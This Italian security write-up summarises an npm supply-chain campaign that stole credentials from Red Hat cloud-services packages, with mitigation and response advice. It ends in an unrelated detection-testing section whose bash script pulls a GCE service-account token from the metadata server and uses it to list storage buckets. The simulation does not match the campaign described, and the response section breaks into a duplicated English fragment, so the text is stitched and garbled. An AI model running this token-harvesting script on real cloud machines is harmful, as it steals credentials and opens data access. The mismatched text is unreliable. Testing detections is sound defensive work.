Dall’Installazione alla Persistenza: All’interno della Campagna di Furto di Credenziali npm Miasma di Red Hat

Sommario

Microsoft Defender ha identificato un compromesso della supply chain che colpisce 32 pacchetti npm pubblicati sotto lo @redhat-cloud-services namespace. Gli attaccanti hanno inserito un hook pre-installazione che distribuisce un caricatore JavaScript pesantemente offuscato, che poi recupera l’ambiente di runtime Bun e un ladro di credenziali di seconda fase. Il malware raccoglie token da GitHub, npm, principali fornitori di cloud, HashiCorp Vault e Kubernetes, quindi ripubblica pacchetti avvelenati per continuare a diffondersi. La campagna include anche una misura di salvaguardia distruttiva che cancella la directory home della vittima se viene rilevato un token esca.

Indagine

L’indagine ha rintracciato la violazione iniziale a una pipeline CI/CD compromessa per RedHatInsights/javascript-clients, dove gli attaccanti hanno abusato di un workflow OIDC di GitHub Actions legittimo per pubblicare pacchetti trojanizzati con firme di provenienza valide. L’analisi del dropper ha esposto diversi livelli di offuscamento, inclusi codifica basata su ROT, crittografia AES-128-GCM e un cifrario personalizzato, prima che Bun fosse eseguito per lanciare il payload di seconda fase. Gli attori della minaccia hanno anche raschiato la memoria dai runner di GitHub Actions per estrarre segreti direttamente da processi attivi.

Mitigazione

Microsoft raccomanda di rivedere gli alberi delle dipendenze per i @redhat-cloud-services pacchetti colpiti, fissando versioni attendibili e disabilitando l’esecuzione degli script npm con il --ignore-scripts flag dove possibile. Tutti i token npm compromessi dovrebbero essere revocati e riemessi, e gli account GitHub dovrebbero essere controllati per la creazione di repository non autorizzati o attività sospette. Ulteriori misure di salvaguardia sono state implementate all’interno del @redhat-cloud-services namespace per prevenire la pubblicazione non autorizzata.

Risposta

I difensori dovrebbero rilevare esecuzioni sospette di pre-installazione npm e lanci imprevisti dell’ambiente di runtime Bun da directory temporanee. Il monitoraggio dovrebbe anche coprire la creazione di repository pubblici GitHub sconosciuti e schemi insoliti di utilizzo dei token. Le difese della rete dovrebbero bloccare o allertare su connessioni a URL di download noti di Bun e il dominio api.anthropic.com. Qualsiasi credenziale potenzialmente esposta dovrebbe essere ruotata immediatamente, e la memoria del runner CI/CD dovrebbe essere esaminata per segni di segreti trapelati. domain. Any potentially exposed credentials should be rotated immediately, and CI/CD runner memory should be investigated for signs of leaked secrets.

Esecuzione della Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrativa dell’Attacco & Comandi:
  Un avversario che ha già compromesso una VM GCE utilizza un approccio living-off-the-land per raccogliere il token del service account predefinito della VM. I passaggi sono:

  1. Sonda il server dei metadati per verificare che sia raggiungibile.
  2. Emetti una richiesta di token to http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token con l’intestazione richiesta Metadata-Flavor: Google .
  3. Salva il JSON restituito (contiene access_token, expires_in, token_type).
  4. Usa il token per chiamare un’API GCP privilegiata (es., elenca tutti i bucket) per dimostrare credenziali azionabili.

  Questa sequenza esatta genera l’evento di audit GCPServiceAccountTokenAccess, che corrisponde alla regola Sigma selezione.

• Script di Test di Regressione:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # 1. Verificare la raggiungibilità del server dei metadati
  echo "[*] Sondaggio del server dei metadati..."
  curl -s -H "Metadata-Flavor: Google" 
    "http://metadata.google.internal/computeMetadata/v1/instance/id" >/dev/null
  
  # 2. Raccogliere il token del service account predefinito
  echo "[*] Richiesta del token del service account..."
  TOKEN_RESPONSE=$(curl -s -H "Metadata-Flavor: Google" 
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
  
  echo "[+] Risposta del token ricevuta:"
  echo "${TOKEN_RESPONSE}" | jq .
  
  # 3. Estrarre il token di accesso
  ACCESS_TOKEN=$(echo "${TOKEN_RESPONSE}" | jq -r '.access_token')
  
  # 4. Usa il token per elencare i bucket GCS (dimostra l'utilità del token)
  echo "[*] Utilizzando il token per elencare i bucket GCS..."
  curl -s -H "Authorization: Bearer ${ACCESS_TOKEN}" 
    "https://storage.googleapis.com/storage/v1/b" | jq .
  
  echo "[+] Simulazione completa. Le azioni sopra dovrebbero aver prodotto un evento di audit GCPServiceAccountTokenAccess."

• Comandi di Pulizia:

  # Non sono state effettuate modifiche persistenti; solo la rimozione delle variabili temporanee.
  unset TOKEN_RESPONSE ACCESS_TOKEN
  echo "[*] Pulizia completa."